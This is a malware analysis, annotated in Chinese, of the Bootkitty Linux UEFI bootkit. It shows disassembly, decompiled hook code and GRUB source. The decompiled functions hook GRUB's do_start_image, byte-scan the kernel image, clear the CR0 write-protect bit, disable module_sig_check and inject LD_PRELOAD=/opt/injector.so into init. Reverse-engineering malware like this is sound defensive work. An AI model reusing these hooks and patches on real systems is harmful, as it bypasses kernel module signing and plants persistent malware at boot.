.text:00000000000002A2 48 A3 80 10 00 00 00 00 00 00                 mov     ds:qword_1080, rax
.text:00000000000002AC 48 89 C7                                      mov     rdi, rax
.text:00000000000002AF 48 B8 C0 10 00 00 00 00 00 00                 mov     rax, offset grub_efi_get_loaded_image
.text:00000000000002B9 FF D0                                         call    rax ; grub_efi_get_loaded_image
.text:00000000000002BB 48 85 C0                                      test    rax, rax
.text:00000000000002BE 74 48                                         jz      short loc_308
.text:00000000000002C0 48 BA C0 0F 00 00 00 00 00 00                 mov     rdx, offset unk_FC0
.text:00000000000002CA 48 8B 4A 58                                   mov     rcx, [rdx+58h]
.text:00000000000002CE 8B 72 3C                                      mov     esi, [rdx+3Ch]
.text:00000000000002D1 48 8B 52 10                                   mov     rdx, [rdx+10h]
.text:00000000000002D5 48 89 48 40                                   mov     [rax+40h], rcx
.text:00000000000002D9 48 89 70 48                                   mov     [rax+48h], rsi
.text:00000000000002DD 48 85 D2                                      test    rdx, rdx
.text:00000000000002E0 75 15                                         jnz     short loc_2F7
.text:00000000000002E2
.text:00000000000002E2                               loc_2E2:                                ; CODE XREF: do_start_image_286+6C↓j
.text:00000000000002E2 31 F6                                         xor     esi, esi
.text:00000000000002E4 48 89 70 20                                   mov     [rax+20h], rsi
.text:00000000000002E8 EB 50                                         jmp     short loc_33A
.text:00000000000002EA                               ; ---------------------------------------------------------------------------
.text:00000000000002EA
.text:00000000000002EA                               loc_2EA:                                ; CODE XREF: do_start_image_286+74↓j
.text:00000000000002EA                                                                       ; do_start_image_286+7A↓j
.text:00000000000002EA 0F B7 4A 02                                   movzx   ecx, word ptr [rdx+2]
.text:00000000000002EE 66 83 F9 03                                   cmp     cx, 3
.text:00000000000002F2 76 EE                                         jbe     short loc_2E2
.text:00000000000002F4 48 01 CA                                      add     rdx, rcx
.text:00000000000002F7
.text:00000000000002F7                               loc_2F7:                                ; CODE XREF: do_start_image_286+5A↑j
.text:00000000000002F7 80 3A 04                                      cmp     byte ptr [rdx], 4
.text:00000000000002FA 75 EE                                         jnz     short loc_2EA
.text:00000000000002FC 80 7A 01 04                                   cmp     byte ptr [rdx+1], 4
.text:0000000000000300 75 E8                                         jnz     short loc_2EA
.text:0000000000000302 48 89 50 20                                   mov     [rax+20h], rdx
.text:0000000000000306 EB 32                                         jmp     short loc_33A
.text:0000000000000308                               ; ---------------------------------------------------------------------------
.text:0000000000000308
.text:0000000000000308                               loc_308:                                ; CODE XREF: do_start_image_286+38↑j
.text:0000000000000308 48 B9 E7 0D 00 00 00 00 00 00                 mov     rcx, offset aLoadedImagePro ; "Loaded image protocol missing\n"
.text:0000000000000312 BE C0 02 00 00                                mov     esi, 2C0h
.text:0000000000000317 31 C0                                         xor     eax, eax
.text:0000000000000319 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:0000000000000323 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:000000000000032D 49 B8 E0 10 00 00 00 00 00 00                 mov     r8, offset grub_real_dprintf
.text:0000000000000337 41 FF D0                                      call    r8 ; grub_real_dprintf
.text:000000000000033A
.text:000000000000033A                               loc_33A:                                ; CODE XREF: do_start_image_286+62↑j
.text:000000000000033A                                                                       ; do_start_image_286+80↑j
.text:000000000000033A 48 BF 40 10 00 00 00 00 00 00                 mov     rdi, offset unk_1040
.text:0000000000000344 48 B8 30 11 00 00 00 00 00 00                 mov     rax, offset grub_setjmp
.text:000000000000034E FF D0                                         call    rax ; grub_setjmp
.text:0000000000000350 F3 0F 1E FA                                   endbr64
.text:0000000000000354 85 C0                                         test    eax, eax
.text:0000000000000356 74 31                                         jz      short loc_389
.text:0000000000000358 48 BB 40 10 00 00 00 00 00 00                 mov     rbx, offset unk_1040
.text:0000000000000362 48 83 EC 20                                   sub     rsp, 20h
.text:0000000000000366 48 B8 3E 00 00 00 00 00 00 00                 mov     rax, offset sub_3E
.text:0000000000000370 48 8B 4B 40                                   mov     rcx, [rbx+40h]
.text:0000000000000374 FF D0                                         call    rax ; sub_3E
.text:0000000000000376 31 C9                                         xor     ecx, ecx
.text:0000000000000378 48 8B 43 48                                   mov     rax, [rbx+48h]
.text:000000000000037C 48 83 C4 20                                   add     rsp, 20h
.text:0000000000000380 48 89 4B 40                                   mov     [rbx+40h], rcx
.text:0000000000000384 E9 D6 00 00 00                                jmp     loc_45F
.text:0000000000000389                               ; ---------------------------------------------------------------------------
.text:0000000000000389
.text:0000000000000389                               loc_389:                                ; CODE XREF: do_start_image_286+D0↑j
.text:0000000000000389 49 BE A8 10 00 00 00 00 00 00                 mov     r14, offset grub_efi_system_table
.text:0000000000000393 BE CE 02 00 00                                mov     esi, 2CEh
.text:0000000000000398 48 BB C0 0F 00 00 00 00 00 00                 mov     rbx, offset unk_FC0
.text:00000000000003A2 49 BC 40 10 00 00 00 00 00 00                 mov     r12, offset unk_1040
.text:00000000000003AC 49 BD F2 00 00 00 00 00 00 00                 mov     r13, offset sub_F2
.text:00000000000003B6 49 8B 06                                      mov     rax, [r14]
.text:00000000000003B9 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:00000000000003C3 48 B9 06 0E 00 00 00 00 00 00                 mov     rcx, offset aExecutingImage ; "Executing image loaded at 0x%lx\nEntry "...
.text:00000000000003CD 49 BF E0 10 00 00 00 00 00 00                 mov     r15, offset grub_real_dprintf
.text:00000000000003D7 48 8B 40 60                                   mov     rax, [rax+60h]
.text:00000000000003DB 48 8B 90 D8 00 00 00                          mov     rdx, [rax+0D8h]
.text:00000000000003E2 4C 89 A8 D8 00 00 00                          mov     [rax+0D8h], r13
.text:00000000000003E9 49 89 54 24 50                                mov     [r12+50h], rdx
.text:00000000000003EE 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:00000000000003F8 50                                            push    rax
.text:00000000000003F9 8B 43 3C                                      mov     eax, [rbx+3Ch]
.text:00000000000003FC 4C 8B 4B 60                                   mov     r9, [rbx+60h]
.text:0000000000000400 4C 8B 43 58                                   mov     r8, [rbx+58h]
.text:0000000000000404 50                                            push    rax
.text:0000000000000405 31 C0                                         xor     eax, eax
.text:0000000000000407 41 FF D7                                      call    r15 ; grub_real_dprintf
.text:000000000000040A 52                                            push    rdx
.text:000000000000040B 52                                            push    rdx
.text:000000000000040C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
.text:0000000000000411 49 8B 16                                      mov     rdx, [r14]
.text:0000000000000414 FF 53 60                                      call    qword ptr [rbx+60h]
.text:0000000000000417 BE D9 02 00 00                                mov     esi, 2D9h
.text:000000000000041C 48 B9 45 0E 00 00 00 00 00 00                 mov     rcx, offset aApplicationRet ; "Application returned\n"
.text:0000000000000426 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:0000000000000430 48 83 C4 20                                   add     rsp, 20h
.text:0000000000000434 48 89 C3                                      mov     rbx, rax
.text:0000000000000437 31 C0                                         xor     eax, eax
.text:0000000000000439 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:0000000000000443 41 FF D7                                      call    r15 ; grub_real_dprintf
.text:0000000000000446 48 83 EC 20                                   sub     rsp, 20h
.text:000000000000044A 49 8B 4C 24 40                                mov     rcx, [r12+40h]
.text:000000000000044F 45 31 C9                                      xor     r9d, r9d
.text:0000000000000452 45 31 C0                                      xor     r8d, r8d
.text:0000000000000455 48 89 DA                                      mov     rdx, rbx
.text:0000000000000458 41 FF D5                                      call    r13 ; sub_F2
.text:000000000000045B 48 83 C4 20                                   add     rsp, 20h
.text:000000000000045F
.text:000000000000045F                               loc_45F:                                ; CODE XREF: do_start_image_286+FE↑j
.text:000000000000045F 48 8D 65 D8                                   lea     rsp, [rbp-28h]
.text:0000000000000463 5B                                            pop     rbx
.text:0000000000000464 41 5C                                         pop     r12
.text:0000000000000466 41 5D                                         pop     r13
.text:0000000000000468 41 5E                                         pop     r14
.text:000000000000046A 41 5F                                         pop     r15
.text:000000000000046C 5D                                            pop     rbp
.text:000000000000046D C3                                            retn
.text:000000000000046D                               do_start_image_286 endp

反编译

__int64 do_start_image_286()
{
  _QWORD *loaded_image; // rax
  __int64 v1; // rsi
  __int64 v2; // rdx
  __int64 v3; // rcx
  __int64 v4; // rdx
  __int64 result; // rax
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 v8; // rbx

  __endbr64();
  qword_1080 = grub_efi_image_handle;
  loaded_image = (_QWORD *)grub_efi_get_loaded_image(grub_efi_image_handle);
  if ( loaded_image )
  {
    v1 = *((unsigned int *)&unk_FC0 + 0xF);
    v2 = *((_QWORD *)&unk_FC0 + 2);
    loaded_image[8] = *((_QWORD *)&unk_FC0 + 0xB);
    loaded_image[9] = v1;
    if ( v2 )
    {
      while ( *(_BYTE *)v2 != 4 || *(_BYTE *)(v2 + 1) != 4 )
      {
        v3 = *(unsigned __int16 *)(v2 + 2);
        if ( (unsigned __int16)v3 <= 3u )
          goto LABEL_3;
        v2 += v3;
      }
      loaded_image[4] = v2;
    }
    else
    {
LABEL_3:
      v1 = 0LL;
      loaded_image[4] = 0LL;
    }
  }
  else
  {
    v1 = 0x2C0LL;
    grub_real_dprintf("loader/efi/peimage.c", 0x2C0LL, "linux", "Loaded image protocol missing\n");
  }
  __endbr64();
  if ( (unsigned int)grub_setjmp(&unk_1040) )
  {
    sub_3E(&unk_1040, v1, v4, *((_QWORD *)&unk_1040 + 8));
    result = *((_QWORD *)&unk_1040 + 9);
    *((_QWORD *)&unk_1040 + 8) = 0LL;
  }
  else
  {
    v6 = *(_QWORD *)(grub_efi_system_table + 0x60LL);
    v7 = *(_QWORD *)(v6 + 0xD8);
    *(_QWORD *)(v6 + 0xD8) = sub_F2;
    *((_QWORD *)&unk_1040 + 0xA) = v7;
    grub_real_dprintf(
      "loader/efi/peimage.c",
      0x2CELL,
      "linux",
      "Executing image loaded at 0x%lx\nEntry point 0x%lx\nSize 0x%08x\n",
      *((_QWORD *)&unk_FC0 + 0xB),
      *((_QWORD *)&unk_FC0 + 0xC),
      *((unsigned int *)&unk_FC0 + 0xF));
    v8 = (*((__int64 (__fastcall **)(const char *, __int64, _QWORD, _QWORD))&unk_FC0 + 0xC))(
           "loader/efi/peimage.c",
           0x2CELL,
           grub_efi_system_table,
           *((_QWORD *)&unk_1040 + 8));
    grub_real_dprintf("loader/efi/peimage.c", 0x2D9LL, "linux", "Application returned\n");
    return sub_F2("loader/efi/peimage.c", 0x2D9LL, v8, *((_QWORD *)&unk_1040 + 8), 0LL, 0LL);
  }
  return result;
}

源码

static grub_efi_status_t __grub_efi_api
do_start_image (grub_efi_handle_t image_handle,
		grub_efi_uintn_t *exit_data_size __attribute__ ((unused)),
		grub_efi_char16_t **exit_data __attribute__ ((unused)))
{
  grub_efi_status_t status;
  struct image_info *info;

  info = grub_efi_open_protocol (image_handle,
				 &(grub_guid_t)GRUB_PEIMAGE_MARKER_GUID,
				 GRUB_EFI_OPEN_PROTOCOL_GET_PROTOCOL);
  if (!info)
    {
      grub_error (GRUB_ERR_BAD_OS, "image not loaded");
      return GRUB_EFI_LOAD_ERROR;
    }

  if (grub_setjmp (info->jmp))
    {
      status = info->exit_status;
      do_unload_image (image_handle);
    }
  else
    {
      grub_dprintf ("linux",
		    "Executing image loaded at 0x%lx\n"
		    "Entry point 0x%lx\n"
		    "Size 0x%lx\n",
		    (unsigned long)info->loaded_image.image_base,
		    (unsigned long)info->entry_point,
		    (unsigned long)info->loaded_image.image_size);

      /* Invalidate the instruction cache */
      grub_arch_sync_caches (info->loaded_image.image_base,
			     info->loaded_image.image_size);

      status = info->entry_point (image_handle, grub_efi_system_table);

      grub_dprintf ("linux", "Application returned\n");

      /* converge to the same exit path as if the image called
       * boot_services->exit itself */
      exit_hook (image_handle, status, 0, NULL);

      /* image_handle is always valid above, thus exit_hook cannot
       * return to here. if only GRUB had assert :(
      grub_assert (false && "entered unreachable code");
      */
    }

  return status;
}

hook_grub_f1__do_start_image_18000DE20(do_start_image 的hook 函数)

当do_start_image 调用后,执行到

// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h]
// mods:0000000000110A61 49 8B 16 mov rdx, [r14]

inlinehook 为 mov rax,xxx_hook_func; jmp rax

跳转到hook_grub_f1__do_start_image_18000DE20,获得vmlinuz 基址、??大小,再对内核进行hook(hook_and_patch_kernel_18000F5C0)

//     RDI, RSI, RDX, RCX, R8, R9
__int64 __usercall hook_grub_f1__do_start_image_18000DE20@<rax>(
        __int64 image_handle@<rdi>,
        __int64 a2@<rsi>,
        __int64 a3@<rdx>)
{
  double v3; // xmm3_8
  char *v4; // rcx
  void *image_base; // rdi
  void *v6; // rdx
  void *v7; // r8
  void *v8; // r9
  int size; // ebx
  void *v10; // rdx
  void *v11; // r8
  void *v12; // r9
  __int64 v13; // r8

  // .text:000000000000040C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
  // .text:0000000000000411 49 8B 16                                      mov     rdx, [r14]
  // .text:0000000000000414 FF 53 60                                      call    qword ptr [rbx+60h]
  v4 = original_grub_f1_180018268;
  *(_QWORD *)original_grub_f1_180018268 = *(_QWORD *)backup_original_grub_f1_180018280;
  v4[8] = backup_original_grub_f1_180018280[8];
  v4[9] = backup_original_grub_f1_180018280[9];
  v4[0xA] = backup_original_grub_f1_180018280[0xA];
  v4[0xB] = backup_original_grub_f1_180018280[0xB];
  // mov     rax, [rbx+58h]
  //   struct image_info *info;  image_info+0x58

  // info->loaded_image.image_base  
  image_base = (void *)(int)sub_18000C885();
  debug_18000DF00(image_base, (void *)a2, v6, "", v7, v8);
  // rbx+8
  // struct grub_efi_loaded_image
  // {
  //   grub_efi_uint32_t revision;
  //   grub_efi_handle_t parent_handle;
  // ···
  // }
  //   //grub_efi_loaded_image.parent_handle
  size = sub_18000C880();
  debug_18000DF00(image_base, (void *)a2, v10, "", v11, v12);
  hook_and_patch_kernel_18000F5C0((char *)image_base, size, v13, v3);
  return ((__int64 (*)(void))original_grub_f1_180018268)();//执行原逻辑
}

hook_and_patch_kernel_18000F5C0 (安装vmlinuz 的hook)

在do_start_image 的hook函数中获取到vmlinuz 的基址,然后对vmlinuz 安装hook

目标硬编码

F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF

定位到 _??decompress_E26CB0 地址对应ubuntu-24.04.1-desktop-amd64 的vmlinuz

hook vmlinuz

unsigned __int64 __fastcall hook_and_patch_kernel_18000F5C0(char *image_base, int x_size, __int64 a3, double a4)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v4 = image_base;
  if ( !image_base )
    return 0x8000000000000002ui64;
  v5 = &image_base[x_size - 0x3B];
  if ( image_base >= v5 )
    return 0x800000000000000Eui64;
  // F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF

  // .text:0000000000E26CB0                               sub_E26CB0      proc near               ; CODE XREF: sub_E28420+2B6↓p
  // .text:0000000000E26CB0
  // .text:0000000000E26CB0                               var_28          = qword ptr -28h
  // .text:0000000000E26CB0                               var_20          = qword ptr -20h
  // .text:0000000000E26CB0                               var_18          = qword ptr -18h
  // .text:0000000000E26CB0                               var_10          = qword ptr -10h
  // .text:0000000000E26CB0
  // .text:0000000000E26CB0 F3 0F 1E FA                                   endbr64
  // .text:0000000000E26CB4 53                                            push    rbx
  // .text:0000000000E26CB5 48 89 FB                                      mov     rbx, rdi
  // .text:0000000000E26CB8 48 83 EC 20                                   sub     rsp, 20h
  // .text:0000000000E26CBC 8B 87 F0 75 00 00                             mov     eax, [rdi+75F0h]
  // .text:0000000000E26CC2 83 F8 FF                                      cmp     eax, 0FFFFFFFFh
  // .text:0000000000E26CC5 74 6B                                         jz      short loc_E26D32
  // .text:0000000000E26CC7 83 F8 01                                      cmp     eax, 1
  // .text:0000000000E26CCA 74 5C                                         jz      short loc_E26D28
  // .text:0000000000E26CCC 48 8B BF D8 75 00 00                          mov     rdi, [rdi+75D8h]
  // .text:0000000000E26CD3 4C 89 44 24 18                                mov     [rsp+28h+var_10], r8
  // .text:0000000000E26CD8 48 89 4C 24 10                                mov     [rsp+28h+var_18], rcx
  // .text:0000000000E26CDD 48 89 54 24 08                                mov     [rsp+28h+var_20], rdx
  // .text:0000000000E26CE2 48 89 34 24                                   mov     [rsp+28h+var_28], rsi
  // .text:0000000000E26CE6 E8 95 A6 FF FF                                call    sub_E21380
  // .text:0000000000E26CEB 31 C0                                         xor     eax, eax
  // .text:0000000000E26CED 48 8B 34 24                                   mov     rsi, [rsp+28h+var_28]
  // .text:0000000000E26CF1 48 8B 54 24 08                                mov     rdx, [rsp+28h+var_20]
  // .text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00                 mov     qword ptr [rbx+75D8h], 0
  // .text:0000000000E26CF6 00
  // .text:0000000000E26D01 48 8B 4C 24 10                                mov     rcx, [rsp+28h+var_18]
  // .text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00                 mov     qword ptr [rbx+75E0h], 0
  // .text:0000000000E26D06 00
  // .text:0000000000E26D11 4C 8B 44 24 18                                mov     r8, [rsp+28h+var_10]
  // .text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00                 mov     dword ptr [rbx+75F0h], 0
  // .text:0000000000E26D20 EB 17                                         jmp     short loc_E26D39
  // .text:0000000000E26D20                               ; ---------------------------------------------------------------------------
  // .text:0000000000E26D22 66 0F 1F 44 00 00                             align 8
  // .text:0000000000E26D28
  // .text:0000000000E26D28                               loc_E26D28:                             ; CODE XREF: sub_E26CB0+1A↑j
  // .text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00                 mov     dword ptr [rdi+75F0h], 0
  // .text:0000000000E26D32
  // .text:0000000000E26D32                               loc_E26D32:                             ; CODE XREF: sub_E26CB0+15↑j
  // .text:0000000000E26D32 48 8B 83 E0 75 00 00                          mov     rax, [rbx+75E0h]
  // .text:0000000000E26D39
  // .text:0000000000E26D39                               loc_E26D39:                             ; CODE XREF: sub_E26CB0+70↑j
  // .text:0000000000E26D39 50                                            push    rax
  // .text:0000000000E26D3A 48 89 DF                                      mov     rdi, rbx
  // .text:0000000000E26D3D 45 31 C9                                      xor     r9d, r9d
  // .text:0000000000E26D40 6A 00                                         push    0
  // .text:0000000000E26D42 E8 A9 F9 FF FF                                call    sub_E266F0


  // .text:0000000000E26D47 48 83 C4 30                                   add     rsp, 30h
  // .text:0000000000E26D4B 5B                                            pop     rbx
  // .text:0000000000E26D4C C3                                            retn
  for ( i = pattern_1800124A0 - image_base; ; --i )
  {
    v7 = 0;
    v8 = v4;
    do
    {
      v9 = v8[i];
      if ( v9 != (char)0xCC && *v8 != v9 )
        break;
      ++v7;
      ++v8;
    }
    while ( v7 < 0x3B );
    if ( v7 == 0x3B )
      break;
    if ( ++v4 >= v5 )
      return 0x800000000000000Eui64;
  }
  v11 = flags_180018176;
  original_func_180018258 = v4;
  *(_QWORD *)v28 = hook_vmlinuz_decompress_18000DC80;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)back_original_func_180018290 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      ConOut = gST->ConOut;
      if ( ConOut )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
    }
    v11 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v11 & 1) != 0 && ~(unsigned __int64)v4 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v29,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v13 = gST->ConOut;
      if ( v13 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v13->OutputString)(v13, v29);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( back_original_func_180018290 != v4 )
    memmove_1800064F0(back_original_func_180018290, v4, 0xCui64);
  v14 = original_func_180018258;
  v15 = _readcr0_();
  v16 = BYTE2(v15) & 1;
  if ( (v15 & 0x10000) != 0 )
    writecr0_180001010(v15 & 0xFFFFFFFFFFFEFFFFui64);
  v17 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v14 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v31,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v18 = gST->ConOut;
      if ( v18 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v18->OutputString)(v18, v31);
    }
    v17 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v17 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v19 = gST->ConOut;
      if ( v19 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v19->OutputString)(v19, v32);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v14 != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(v14, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( v16 )
  {
    v20 = _readcr0_();
    writecr0_180001010(v20 | 0x10000);
  }
  v21 = original_func_180018258 + 2;
  v22 = _readcr0_();
  v23 = BYTE2(v22) & 1;
  if ( (v22 & 0x10000) != 0 )
    writecr0_180001010(v22 & 0xFFFFFFFFFFFEFFFFui64);
  v24 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v21 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v29,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v25 = gST->ConOut;
      if ( v25 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v25->OutputString)(v25, v29);
    }
    v24 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v24 & 1) != 0 && ~(unsigned __int64)v28 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v29,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      a4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v26 = gST->ConOut;
      if ( v26 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v26->OutputString)(v26, v29);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v21 != v28 )
    memmove_1800064F0(v21, v28, 8ui64);
  if ( !v23 )
    return 0i64;
  v27 = _readcr0_();
  writecr0_180001010(v27 | 0x10000);
  return 0i64;
}
hook_vmlinuz_decompress_18000DC80 (针对vmlinuz 的hook 函数)

操作如下:

  1. 调用原函数,即解压内核结束;kernel 被解压缩并位于内存中(仍未执行)

  2. rewrite kernel version and linux_banner(硬编码偏移定位,不具备兼容性)

使用文本 BoB13 重写内核版本和 linux_banner[]

  1. patch module_sig_check (硬编码偏移定位,不具备兼容性)

函数 module_sig_check 修补为始终返回 0。此函数负责检查模块是否有效签名。通过修补函数以返回 0,内核将加载任何模块而不验证签名。在启用了 UEFI 安全引导的 Linux 系统上,如果要加载内核模块,则需要对其进行签名。当内核在启用 CONFIG_MODULE_SIG_FORCE 的情况下构建或将 module.sig_enforce=1 作为内核命令行参数传递时

  1. patch init 进程的第一个环境变量 (硬编码偏移定位,不具备兼容性)

Linux 内核执行的第一个进程是来自第一个有效的硬编码路径的 init(从 initramfs 的 /init 开始),以及命令行参数和环境变量。钩子代码将第一个环境变量替换为 LD_PRELOAD=/opt/injector.so /init。LD_PRELOAD 是一个环境变量,用于在其他共享对象之前加载 ELF 共享对象,并可用于覆盖函数。这是攻击者用来加载恶意二进制文件的常用技术。在这种情况下,/opt/injector.so 和 /init ELF 共享对象将在 init 进程启动时加载。

void *__fastcall hook_vmlinuz_decompress_18000DC80()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v1 = original_func_180018258;
  *(_QWORD *)original_func_180018258 = *(_QWORD *)back_original_func_180018290;
  v1[8] = back_original_func_180018290[8];
  v1[9] = back_original_func_180018290[9];
  v1[0xA] = back_original_func_180018290[0xA];
  v1[0xB] = back_original_func_180018290[0xB];
  //0、解压内核
  ((void (*)(void))v1)();
  // get rac
  // mov     rax, rcx
  v3 = (void *)(int)sub_18000C88A(v2);
  debug_18000DF00(v0, v3, v4, "", v5, v6);
  // get [rsp+38h]
  //   mov     rax, [rsp+38h]
  v7 = (unsigned int)sub_18000C88E();
  debug_18000DF00((void *)v7, v3, v8, "", v9, v10);
  v11 = (unsigned int)sub_18000C894();
  debug_18000DF00((void *)v7, v3, v12, "", v13, v14);
  qword_180018270 = v7 | (v11 << 0x20);
  sub_18000C89A();
  debug_18000DF00((void *)v7, v3, v15, "", v16, v17);
  v18 = qword_180018270;
  // 1、rewrite kernel version and linux_banner
  *(_DWORD *)(qword_180018270 + 0x19AC5E0) = '1BoB';
  *(_BYTE *)(v18 + 0x19AC5E4) = '3';
  qmemcpy((void *)(v18 + 0x29E84A7), "BoB13", 5);
  result = v3;
  // 2、 patch module_sig_check 

  // | 55                  | push rbp                                     |
  // | 48:89E5             | mov rbp,rsp                                  |
  // | B8 00000000         | mov eax,0                                    |
  // | 5D                  | pop rbp                                      |
  // | C3                  | ret                                          |
  *(_QWORD *)(v18 + 0x3FA4B5) = 0xB8E5894855i64;
  *(_DWORD *)(v18 + 0x3FA4BD) = 0xC35D00;
  *(_QWORD *)(v18 + 0x260ED20) = 0xFFFFFFFF82505000ui64;
  // 3、patch init 进程的第一个环境变量
  strcpy((char *)(v18 + 0x1705000), "LD_PRELOAD=/opt/injector.so /init");
  return result;
}

vmlinuz 函数

hook_and_patch_kernel_18000F5C0 中定位到vmlinuz 的_decompress_E26CB0 函数内部,

.text:0000000000E26CB0                               ; unsigned __int64 __fastcall _decompress_E26CB0(char *, __int64, unsigned __int64)
.text:0000000000E26CB0                               __decompress_E26CB0 proc near           ; CODE XREF: xx_decompress_kernel_E28420+2B6↓p
.text:0000000000E26CB0
.text:0000000000E26CB0                               var_28          = qword ptr -28h
.text:0000000000E26CB0                               var_20          = qword ptr -20h
.text:0000000000E26CB0                               var_18          = qword ptr -18h
.text:0000000000E26CB0                               var_10          = qword ptr -10h
.text:0000000000E26CB0
